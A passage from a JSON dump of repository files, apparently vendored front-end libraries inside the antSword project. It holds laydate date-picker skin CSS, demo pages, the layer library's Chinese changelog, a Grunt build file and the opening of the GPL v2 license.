border-bottom:none;}\n.laydate_body .laydate_table td{border:none;  height:21px!important; line-height:21px!important; background-color:#fff; color:#00625A;}\n.laydate_body .laydate_table .laydate_nothis{color:#999;}\n.laydate_body .laydate_table thead{border-bottom:1px solid #ccc; height:21px!important; line-height:21px!important;}\n.laydate_body .laydate_table thead th{}\n.laydate_body .laydate_bottom{border:1px solid #ccc; border-top:none;}\n.laydate_body .laydate_bottom #laydate_hms{background-color:#fff;}\n.laydate_body .laydate_time{background-color:#fff;}\n.laydate_body .laydate_time1{width: 226px!important; height: 152px!important;}\n.laydate_body .laydate_bottom .laydate_sj{width:31px!important; border-right:1px solid #ccc; background-color:#fff;}\n.laydate_body .laydate_bottom input{background-color:#fff; color:#00625A;}\n.laydate_body .laydate_bottom .laydte_hsmtex{border-bottom:1px solid #ccc;}\n.laydate_body .laydate_bottom .laydate_btn{border-right:1px solid #ccc;}\n.laydate_body .laydate_bottom .laydate_v{color:#999}\n.laydate_body .laydate_bottom .laydate_btn a{border: 1px solid #ccc; border-right:none; background-color:#fff;}\n.laydate_body .laydate_bottom .laydate_btn a:hover{background-color:#F6F6F6; color:#00625A;}\n\n.laydate_body .laydate_m .laydate_yms span:hover,\n.laydate_body .laydate_time .laydate_hmsno span:hover,\n.laydate_body .laydate_y .laydate_yms ul li:hover,\n.laydate_body .laydate_table td:hover{background-color:#00C1B3; color:#fff;}\n\n\n"
  },
  {
    "path": "antSword/static/libs/laydate/skins/qianhuang/laydate.css",
    "content": "﻿/** \n \n @Name： laydate皮肤：浅黄\n @Author：贤心\n @Site：http://sentsin.com/layui/laydate\n \n**/\n\n.laydate-icon{border:1px solid #E7D7CB; background-image:url(icon.png)}\n\n.laydate_body .laydate_box,\n.laydate_body .laydate_ym,\n.laydate_body .laydate_ym .laydate_yms,\n.laydate_body .laydate_table,\n.laydate_body .laydate_table td,\n.laydate_body .laydate_bottom #laydate_hms,\n.laydate_body .laydate_time,\n.laydate_body .laydate_bottom .laydate_btn a{border:1px solid #DEC8B8;}\n\n.laydate_body .laydate_y .laydate_yms a,\n.laydate_body .laydate_ym,\n.laydate_body .laydate_choose,\n.laydate_body .laydate_table thead{background-color:#fff;}\n\n.laydate_body .laydate_box, \n.laydate_body .laydate_ym .laydate_yms,\n.laydate_body .laydate_time{box-shadow: 2px 2px 5px rgba(0,0,0,.1);}\n\n.laydate_body .laydate_box{border-top:none; border-bottom:none; background-color: #F7F4ED!important; color:#8B743F;}\n.laydate_body .laydate_box input{color:#8B743F;}\n.laydate_body .laydate_box .laydate_void{color:#CBB98D!important;}\n.laydate_body .laydate_box .laydate_void:hover{background-color:#fff!important;}\n.laydate_body .laydate_box a, .laydate_body .laydate_box a:hover{color:#8B743F;}\n.laydate_body .laydate_box a:hover{color:#8B743F;}\n.laydate_body .laydate_click{background-color:#DEC8B8!important;}\n.laydate_body .laydate_top{border-top:1px solid #DEC8B8;}\n.laydate_body .laydate_ym .laydate_yms{background-color:#fff;}\n.laydate_body .laydate_y .laydate_yms a{border-bottom:1px solid #DEC8B8;}\n.laydate_body .laydate_y .laydate_yms .laydate_chdown{border-top:1px solid #DEC8B8; border-bottom:none;}\n.laydate_body .laydate_y .laydate_yms ul li:hover, \n.laydate_body .laydate_m .laydate_yms span:hover{color:#8B743F;}\n.laydate_body .laydate_choose{border-left:1px solid #DEC8B8;}\n.laydate_body .laydate_chprev{border-left:none; border-right:1px solid #DEC8B8;}\n.laydate_body .laydate_chtop cite{border-bottom-color:#8B743F;}\n.laydate_body .laydate_chdown cite, .laydate_body .laydate_ym label{border-top-color:#8B743F;}\n.laydate_body .laydate_chprev cite{border-right-style:solid; border-right-color:#8B743F;}\n.laydate_body .laydate_chnext cite{border-left-style:solid; border-left-color:#8B743F;}\n.laydate_body .laydate_table td{background-color:#F4F0E6; color:#8B743F;}\n.laydate_body .laydate_table .laydate_nothis{background-color:#fff; color:#C0AA76;}\n.laydate_body .laydate_table thead{color:#163A58;}\n.laydate_body .laydate_bottom{border-bottom:1px solid #DEC8B8;}\n.laydate_body .laydate_bottom #laydate_hms{background-color:#fff;}\n.laydate_body .laydate_time{background-color:#fff;}\n.laydate_body .laydate_bottom .laydate_sj{border-right:1px solid #DEC8B8;}\n.laydate_body .laydate_bottom input{background-color:#fff;}\n.laydate_body .laydate_bottom .laydte_hsmtex{border-bottom:1px solid #DEC8B8;}\n.laydate_body .laydate_bottom .laydate_btn{border-right:1px solid #DEC8B8;}\n.laydate_body .laydate_bottom .laydate_btn a{ border-right:none; background-color:#fff;}\n.laydate_body .laydate_bottom .laydate_btn a:hover{color:#163A58;}\n\n.laydate_body .laydate_y .laydate_yms ul li:hover,\n.laydate_body .laydate_m .laydate_yms span:hover,\n.laydate_body .laydate_choose:hover,\n.laydate_body .laydate_y .laydate_yms a:hover,\n.laydate_body .laydate_table td:hover,\n.laydate_body .laydate_bottom .laydate_sj,\n.laydate_body .laydate_bottom .laydate_time span:hover,\n.laydate_body .laydate_bottom .laydte_hsmtex,\n.laydate_body .laydate_bottom .laydate_btn a:hover{background-color:#F7F4ED}\n\n"
  },
  {
    "path": "antSword/static/libs/laydate/skins/yahui/laydate.css",
    "content": "﻿/** \n \n @Name： laydate皮肤：雅灰\n @Author：贤心\n @Site：http://sentsin.com/layui/laydate\n \n**/\n\n.laydate-icon{border:1px solid #C6C6C6; background-image:url(icon.png)}\n\n.laydate_body .laydate_box,\n.laydate_body .laydate_ym,\n.laydate_body .laydate_ym .laydate_yms,\n.laydate_body .laydate_table,\n.laydate_body .laydate_table td,\n.laydate_body .laydate_bottom #laydate_hms,\n.laydate_body .laydate_time,\n.laydate_body .laydate_bottom .laydate_btn a{border:1px solid #C6C6C6;}\n\n.laydate_body .laydate_y .laydate_yms a,\n.laydate_body .laydate_choose,\n.laydate_body .laydate_table thead,\n.laydate_body .laydate_bottom .laydte_hsmtex{background-color:#F0F0F0;}\n\n.laydate_body .laydate_box, \n.laydate_body .laydate_ym .laydate_yms,\n.laydate_body .laydate_time{box-shadow: 2px 2px 5px rgba(0,0,0,.1);}\n\n.laydate_body .laydate_box{border-top:none; border-bottom:none; background-color:#fff; color:#333;}\n.laydate_body .laydate_box input{color:#333;}\n.laydate_body .laydate_box .laydate_void{color:#ccc!important; /*text-decoration:line-through;*/}\n.laydate_body .laydate_box .laydate_void:hover{background-color:#fff!important}\n.laydate_body .laydate_box a, .laydate_body .laydate_box a:hover{color:#333;}\n.laydate_body .laydate_box a:hover{color:#666;}\n.laydate_body .laydate_click{background-color:#E9E9E9!important;}\n.laydate_body .laydate_top{border-top:1px solid #C6C6C6;}\n.laydate_body .laydate_ym .laydate_yms{border:1px solid #C6C6C6; background-color:#fff;}\n.laydate_body .laydate_y .laydate_yms a{border-bottom:1px solid #C6C6C6;}\n.laydate_body .laydate_y .laydate_yms .laydate_chdown{border-top:1px solid #C6C6C6; border-bottom:none;}\n.laydate_body .laydate_y .laydate_yms ul li:hover{background-color:#F1F1F1; color:#000;}\n.laydate_body .laydate_m .laydate_yms span:hover{background-color:#F1F1F1; color:#000;}\n.laydate_body .laydate_choose{border-left:1px solid #C6C6C6;}\n.laydate_body .laydate_chprev{border-left:none; border-right:1px solid #C6C6C6;}\n.laydate_body .laydate_choose:hover, \n.laydate_body .laydate_y .laydate_yms a:hover{background-color:#F6F6F6;}\n.laydate_body .laydate_chtop cite{border-bottom-color:#666;}\n.laydate_body .laydate_chdown cite, .laydate_body .laydate_ym label{border-top-color:#666;}\n.laydate_body .laydate_chprev cite{border-right-style:solid; border-right-color:#666;}\n.laydate_body .laydate_chnext cite{border-left-style:solid; border-left-color:#666;}\n.laydate_body .laydate_table td{border:1px solid #C6C6C6; color:#333;}\n.laydate_body .laydate_table .laydate_nothis{color:#999;}\n.laydate_body .laydate_table thead{ background-color:#E3E3E3; color:#000;}\n.laydate_body .laydate_table thead th{}\n.laydate_body .laydate_bottom{border-bottom:1px solid #C6C6C6;}\n.laydate_body .laydate_bottom #laydate_hms{background-color:#fff;}\n.laydate_body .laydate_time{background-color:#fff;}\n.laydate_body .laydate_bottom .laydate_sj{border-right:1px solid #C6C6C6; background-color:#F3F3F3;}\n.laydate_body .laydate_bottom input{background-color:#fff;}\n.laydate_body .laydate_bottom .laydte_hsmtex{border-bottom:1px solid #C6C6C6;}\n.laydate_body .laydate_bottom .laydate_btn{border-right:1px solid #C6C6C6;}\n.laydate_body .laydate_bottom .laydate_v{color:#999}\n.laydate_body .laydate_bottom .laydate_btn a{border-right:none; background-color:#F0F0F0;}\n.laydate_body .laydate_bottom .laydate_btn a:hover{color:#000; background-color:#fff;}\n\n.laydate_body .laydate_table td:hover,\n.laydate_body .laydate_bottom .laydate_time span:hover{background-color:#F2F2F2}\n\n\n"
  },
  {
    "path": "antSword/static/libs/laydate/skins/yalan/laydate.css",
    "content": "﻿/** \n \n @Name： laydate皮肤：雅兰\n @Author：贤心\n @Site：http://sentsin.com/layui/laydate\n \n**/\n\n.laydate-icon{border:1px solid #34AADC; background-image:url(icon.png)}\n\n.laydate_body .laydate_box,\n.laydate_body .laydate_table,\n.laydate_body .laydate_table td,\n.laydate_body .laydate_bottom #laydate_hms,\n.laydate_body .laydate_time,\n.laydate_body .laydate_bottom .laydate_btn a{border:1px solid #34AADC;}\n\n.laydate_body .laydate_box{box-shadow: 2px 2px 5px rgba(0,0,0,.1);}\n\n.laydate_body .laydate_box{background-color:#34AADC!important; color:#fff;}\n.laydate_body .laydate_box input{background:none!important; color:#fff;}\n.laydate_body .laydate_box .laydate_void{color:#fff!important; background:none!important;}\n.laydate_body .laydate_box a, .laydate_body .laydate_box a:hover{color:#333;}\n.laydate_body .laydate_box a:hover{color:#666;}\n.laydate_body .laydate_click{background-color:#67BFE4!important; color:#fff!important;}\n.laydate_body .laydate_top{}\n.laydate_body .laydate_ym{background-color:#50B5E0; border:1px solid #50B5E0;}\n.laydate_body .laydate_ym .laydate_yms{border:1px solid #2293C4; background-color:#2293C4;}\n.laydate_body .laydate_y .laydate_yms a{border-bottom:1px solid #50B5E0; background-color:#50B5E0;}\n.laydate_body .laydate_y .laydate_yms .laydate_chdown{border-top:1px solid #50B5E0; border-bottom:none;}\n.laydate_body .laydate_choose{}\n.laydate_body .laydate_chprev{border-left:none; border-right:1px solid #50B5E0;}\n.laydate_body .laydate_choose:hover, \n.laydate_body .laydate_y .laydate_yms a:hover{background-color:#61BBE2;}\n.laydate_body .laydate_chtop cite{border-bottom-color:#C7E8F5;}\n.laydate_body .laydate_chdown cite, .laydate_body .laydate_ym label{border-top-color:#C7E8F5;}\n.laydate_body .laydate_chprev cite{border-right-style:solid; border-right-color:#C7E8F5;}\n.laydate_body .laydate_chnext cite{border-left-style:solid; border-left-color:#C7E8F5;}\n.laydate_body .laydate_table td{border:none;  height:21px!important; line-height:21px!important; background-color:#50B5E0; color:#fff;}\n.laydate_body .laydate_table .laydate_nothis{background:none;}\n.laydate_body .laydate_table thead{height:21px!important; line-height:21px!important;}\n.laydate_body .laydate_table thead th{}\n.laydate_body .laydate_bottom{border-bottom:1px solid #34AADC; color:#fff;}\n.laydate_body .laydate_bottom #laydate_hms{background-color:#50B5E0;}\n.laydate_body .laydate_time{background-color:#2293C4;}\n.laydate_body .laydate_bottom .laydate_sj{border-right:1px solid #50B5E0; background-color:#50B5E0; color:#fff;}\n.laydate_body .laydate_bottom .laydte_hsmtex{border-bottom:1px solid #67BFE4; background-color:#2293C4;}\n.laydate_body .laydate_bottom .laydate_btn{border-right:1px solid #34AADC;}\n.laydate_body .laydate_bottom .laydate_v{color:#ccc}\n.laydate_body .laydate_bottom .laydate_btn a{border-right:none; background-color:#50B5E0; color:#fff;}\n.laydate_body .laydate_bottom .laydate_btn a:hover{background-color:#6BC0E4;}\n\n.laydate_body .laydate_m .laydate_yms span:hover,\n.laydate_body .laydate_y .laydate_yms ul li:hover,\n.laydate_body .laydate_table td:hover,\n.laydate_body .laydate_time .laydate_hmsno span:hover{background-color:#87CBE9; color:#fff;}\n\n\n"
  },
  {
    "path": "antSword/static/libs/laydate/test/demo1.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Demo1</title>\n    <style type=\"text/css\">\n        .demo1{\n            height:300px;\n        }\n    </style>\n</head>\n<body>\n    \n    <div style=\"height:500px;\"></div>\n    <div class=\"demo1\">\n        方本框：<input type=\"text\" id=\"J-xl\">\n    </div>\n\n    <div class=\"demo1\">\n        按钮触发：<input type=\"text\" id=\"J-xl-2\"><input type=\"button\" id=\"J-xl-2-btn\" value=\"打开\">\n    </div>\n\n\n    <div class=\"demo1\">\n        <label for=\"J-xl-3\">Label触发：</label><input type=\"text\" id=\"J-xl-3\" >\n    </div>\n\n    <div class=\"demo1\">\n        直接传dom：<input type=\"text\" id=\"J-xl-4\" >\n    </div>\n\n\n    <script type=\"text/javascript\" src=\"../laydate.dev.js\"></script>\n    <script type=\"text/javascript\">\n        laydate({\n            elem: '#J-xl'\n        });\n\n        document.getElementById('J-xl-2-btn').onclick = function(){\n            laydate({\n                elem: '#J-xl-2'\n            });\n        }\n\n        laydate({\n            elem: '#J-xl-3'\n        });\n\n        laydate({\n            elem: document.getElementById('J-xl-4')\n        });\n    </script>\n</body>\n</html>"
  },
  {
    "path": "antSword/static/libs/laydate/test/demo2.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Demo2 for Seajs</title>\n</head>\n<body>\n    <div style=\"height:300px;\"></div>\n\n    <input type=\"text\" id=\"J-xl\">\n\n    <script type=\"text/javascript\" src=\"//libs.useso.com/js/seajs/2.2.1/sea.js\"></script>\n    <script type=\"text/javascript\" src=\"../laydate.dev.js\"></script>\n    <script type=\"text/javascript\">\n        seajs.use('./demo2');\n    </script>\n\n</body>\n</html>"
  },
  {
    "path": "antSword/static/libs/laydate/test/demo2.js",
    "content": "define(function(){\n    'use strict';\n\n    laydate({\n        elem: '#J-xl'\n    });\n});"
  },
  {
    "path": "antSword/static/libs/layer/CHANGELOG.md",
    "content": "﻿【2.1】2015.11.04\n* 修复在使用seajs或者requirejs后，layer.ext.js报layer未定义的错误。\n* 修复弹出层后，回车键无效的bug。\n* 修复iframe层的success回调在ie8以下浏览器无效的bug\n* 修复只有一张图片时，并且该图片地址异常，不断弹出提示的bug。\n* 修复当设定moveEnd回调，即便层关闭，仍然触发该回调的bug\n* 即便采用模块加载，layer对象仍然保留全局，原因是layer自有模块需要。\n* 优化图标锯齿消的回调除了yes和cancel外，还可用btn1/btn2。 btn2可解决取消遇右上角关闭共用cancel回调的问题。即如果你只需要接受取消的回调，可以使用 btn2: function(){}\n\n\n\n【2.0】2015.09.01\n* 全新的默认皮肤\n* 修复按住Enter键时，出现不断弹层的bug。\n* 修复模块加载时，layer仍然暴露给了全局的bug。\n* 修复拖拽完毕回调moveEnd，在层关闭后拖拽鼠标仍然触发该回调的bug。\n* 确认和取消的回调除了yes和cancel外，还可用btn1/btn2。 btn2可解决取消遇右上角关闭共用cancel回调的问题。即如果你只需要接受取消的回调，可以使用 btn2: function(){}\n\n== 拓展模块 ==\n* 修复通过script标签引入layer.ext.js时，出现Cannot read property 'skin' of undefined的报错问题。（虽然我们更推荐用layer.config()方式加载layer.ext.js）。\n* 如果相册只有一张图片，则不触发上/下一张。\n\n\n【1.9.3】2015.05.23\n* 修复全局设置皮肤时，部分类型层未起作用的bug。\n* 增加skin值：layui-layer-rim，用于给层加边框（类似1.85的风格）\n* 样式微调\n\n== 拓展模块 ==\n* 修复相册层设定基础参数时，只有首次有效的bug。\n\n\n【1.9.2】2015.05.08\n* 增加关闭动画样式：layui-layer-close\n* 优化默认弹出动画\n* 优化默认图标，默认的icon支持缩减到0-6（拓展皮肤可自己任意设定支持的数目）\n* 优化部分样式\n* 机智地修复了一个隐藏得非常深的但是不是太重要的bug。\n* 剔除了一些图片。\n\n【1.9.1】2015.04.29\n* btn设定多个按钮时，新增对应的回调（支持只有yes和cancel回调）,如btn: ['按钮一','按钮二','按钮三']，按钮一和按钮二还是之前的yes和cancel，按钮三，则回调为 btn3: function(){}，以此类推。\n* 对cancel回调进行了微完善，如果不想关闭，return false即可，如cancel: function(){return false}，取消则不会关闭。\n* 修复当设置了fix:false时,offset的设置无效的bug\n* 为低版本IE回收iframe占用的内存，从而修复偶尔无法获焦的bug\n* 修复当设置了btn时，最小化不能愉快地呈现的bug。\n* 修复全局设置skin时，某些层类型出现样式异常的bug。\n* 修复area设置了百分比时，maxmin参数无效的bug。\n* 完善当采用<script>合并路径的方式引入layer，加载了错误的css路径的问题。这种情况需在script标签上加一个自定义属性merge=\"true\",然后通过layer.config({path: 'layer所在目录'})来完成初始化的配置\n* 样式微调\n\n【1.9.0】2015.04.19\n\n* 新增laye.open(options)，抛弃了之前的$.layer(options)调用方法，目的是与layer mobile保持统一。\n* 新增layer.config(options)方法，用于进行全局化配置。除了用于展现弹层的基础参数外，还支持path，用于模块化加载layer时设定目录以便加载所需配件，如layer.config({path: '所在路径', extend: ''});\n* 新增content参数，用于统一传入内容。支持string类型和jquery dom对象。如果是type:2，即iframe的url。\n* 新增icon参数，用于统一配置对话框和loading的icon类型。\n* 新增cancel参数，用于统一取消回调。\n* 新增skin参数，用于控制层的不同外观。\n* 新增layer.ready(path, callback)，用于页面加载时即调用弹层。如果通过layer.config配置了path，此方法的path可以不填，即直接layer.ready(callback);\n* 新增tipsMore，用于开启多个tips\n* 新增scrollbar，用于设定是否屏蔽浏览器滚动条\n\n* 完善offset参数，除了跟之前一样，[Y坐标, X坐标]，还支持传入'rd'，表示右下角。另外还支持只传入Y坐标，如offset: '120px'。默认'auto',即垂直水平居中。\n* 完善自适应，只要设定了固定高度，任何层都会自适应出现滚动条\n* 完善shift，全新的CSS3动画模式，支持传入0-6。\n* 完善area，支持传入宽度、[宽，高],默认'auto'，表示自适应\n* 完善time，传入值改为毫秒，比如2秒关闭，time: 2000\n* 完善use方法，修复之前初始调用时部分浏览器一些不稳定因素\n* 完善layer.full/layer.min方法，只要传入index即可，不用跟之前一样还要传入area和offset。。。\n* layer.alert/confirm/msg/load/tips五种快捷引用重写，更灵活，更易使用。\n\n* 剔除border参数，因为它没有本质的作用，自定义层样式可以通过新增的skin参数\n* 剔除dialog的msg，page的html/url/dom，统一采用content\n* 剔除dialog和loading的type，统一采用icon\n* 剔除dialog中用于配置按钮数的btns，因为可直接通过btn本身来获取。\n* 剔除no和close回调，统一采用cancel取代，不过仍然对前两者兼容。\n* 剔除layer.closeLoad()、layer.closeTips()方法，统一用layer.closeAll('loading/tips')来对指定类型层进行关闭\n* 剔除bgcolor参数，因为自定义的样式一律采用skin参数控制\n* 剔除tips一些列子元素，只保留自身，并且支持number和object形，用于设定方向和显示箭头。\n* 剔除layer.getIndex方法，获取索引统一用返回值\n* 剔除layer.autoArea方法，因为已经采取更好的自适应方案。\n\n* 默认不显示dialog图标，需要显示配置dialog指定的type即可\n* 很多不可见只可感受的细节改动\n\n<< 拓展模块 >>\n* layer.prompt/layer.tab/layer.photos重写，代码更强健，功能更强大，详见Api。\n\n\n总之！总之…layer1.9.0有着太多的调整，爱她，就认真去感受她！么么哒\n\n——贤心 2015/4/15\n\n【1.8.5】\n* 新增对title样式的自定义控制\n* 修复layer.prompt多行文本，设置默认值无效的bug\n\n【1.8.4】\n* 新增浏览器窗口尺寸改变时的自适应定位\n* 新增属性shift，用于配置动画弹出（需要注意的是，之前的layer.shift()方法将在layer1.9遗弃，用shift属性取代）\n* 新增方法layer.title(name, index); 用于动态改变层的标题。\n* 修改弹出层默认初始坐标为垂直左右居中。\n* 开放多个tips，可通过配置tips: {more: true}开启。\n* 进一步完善tips的智能定位。\n* 放弃layer.ready方法，用jQuery的ready取代。\n* 进一步优化内部代码\n\n== 拓展模块 ==\n* layer.prompt支持给表单传入默认值，如layer.prompt({val:'默认'}); 新增yes回调函数第二个参数为索引、第三个参数为表单元素。\n* 相册层新增tab回调函数，用于切换图片时进行相关操作\n* 相册层内部代码优化。\n"
  },
  {
    "path": "antSword/static/libs/layer/GruntFile.js",
    "content": "﻿module.exports = function(grunt) {  \n\n    // Project configuration.  \n    grunt.initConfig({  \n        pkg: grunt.file.readJSON('package.json'),\n        \n        //压缩js - layer\n        uglify: {  \n            options: {\n                expand: true\n            },\n            'layer.js': {\n                options: {\n                     banner: '/*! layer-v<%= pkg.version %> <%= pkg.description %> License LGPL  <%= pkg.homepage %> By <%= pkg.author %> */\\n;'\n                },\n                src: './src/layer.js',  \n                dest: './layer.js'\n            },\n            'layer.ext.js': {\n                options: {\n                     banner: '/*! layer<%= pkg.description %>拓展类 */\\n;'\n                },\n                src: './src/extend/layer.ext.js',  \n                dest: './extend/layer.ext.js'\n            },\n            'layer.mobile.js': {\n                options: {\n                     banner: '/*! layer mobile-v<%= pkg.mobile %> <%= pkg.description %>移动版 License LGPL <%= pkg.homepage %>mobile By <%= pkg.author %> */\\n;'\n                },\n                src: './src/mobile/layer.js',  \n                dest: './mobile/layer.js'\n            }\n        },\n\n        //压缩css\n        cssmin: {\n            options : { \n                compatibility : 'ie8', //设置兼容模式 \n                noAdvanced : true //取消高级特性 \n            }\n            ,layer: {\n                files: [{\n                    expand: true,\n                    cwd: './src/skin',\n                    src: ['*.css', '!*.min.css'],\n                    dest: './skin'\n                }, {\n                    expand: true,\n                    cwd: './src/mobile/need',\n                    src: ['*.css', '!*.min.css'],\n                    dest: './mobile/need'\n                }]\n            }\n        }\n    });\n  \n    grunt.loadNpmTasks('grunt-contrib-uglify');\n    grunt.loadNpmTasks('grunt-contrib-cssmin');\n    \n    grunt.registerTask('default', ['uglify', 'cssmin']);\n\n  \n};  "
  },
  {
    "path": "antSword/static/libs/layer/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n                       Copyright (c) 2015 贤心\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc., [http://fsf.org/]\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, 